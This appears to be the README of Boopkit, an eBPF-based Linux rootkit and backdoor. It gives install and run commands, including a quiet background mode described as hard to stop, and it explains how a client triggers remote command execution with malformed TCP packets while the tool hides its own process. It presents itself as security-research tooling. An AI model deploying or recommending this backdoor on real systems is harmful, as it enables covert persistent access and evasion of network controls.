Boopkit.
Linux rootkit and backdoor. Built using eBPF.
Usage:
boopkit [options]
Options:
-h, help Display help and usage for boopkit.
-i, interface Interface name. lo, eth0, wlan0, etc
-s, sudo-bypass Bypass sudo check. Breaks PID obfuscation.
-r, reverse-conn Attempt a reverse RCE lookup if no payload found.
-q, quiet Disable output.
-x, reject Source addresses to reject triggers from.
Linux backdoor, rootkit, and eBPF bypass tools. Remote command execution over raw TCP.
- Tested on Linux kernel 5.16
- Tested on Linux kernel 5.17
- Remote code execution over TCP (SSH, Nginx, Kubernetes, etc)
- Network gateway bypass (bad checksums, TCP reset)
- Self obfuscation at runtime (eBPF process hiding)
Disclaimer
This is NOT an exploit! This requires prior privileged access on a server in order to work! I am a professional security researcher. These are white hat tools used for research purposes only. Use this responsibly. Never use this software illegally.
Server Side
Download and build boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make installRun boopkit in the foreground.
# Reject all boops on localhost and 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1Run boopkit in the background in quiet mode.
# Danger! This can be VERY hard to stop! Run this at your own risk!
boopkit -q &Boopkit is now running and can be exploited using the client boopkit-boop command line tool.
Client Side
Download and build boopkit.

Boopkit will respond to various events on the network. Both of which can be triggered with the boopkit-boop tool.

1. Bad Checksum
First the boopkit-boop tool will send a malformed TCP SYN packet with an empty checksum to the server over a SOCK_RAW socket. This will trigger boopkit remotely regardless of what TCP services are running. This works against any Linux server running boopkit, regardless of the state of TCP services.
Use -p with boopkit-boop to only use this first vector.
2. Sending ACK-RST packet
Next the boopkit-boop tool will complete a valid TCP handshake with a SOCK_STREAM socket against a remote TCP service such as SSH, Kubernetes, Nginx, etc. After the initial TCP handshake is complete, boopkit-boop will repeat the process a 2nd time.
The 2nd handshake will flip the TCP reset flag in the packet, trigger a TCP reset on the server.
Either of these tactics are enough to independently trigger boopkit. Various network hardware and runtime conditions will make either tactic more viable. Boopkit will try both, and respond to both by default.
Boopscript
The boopscript file is a Metasploit compatible script that can be used to remotely trigger the boopkit backdoor after boopkit-boop is installed on a remote Linux machine.
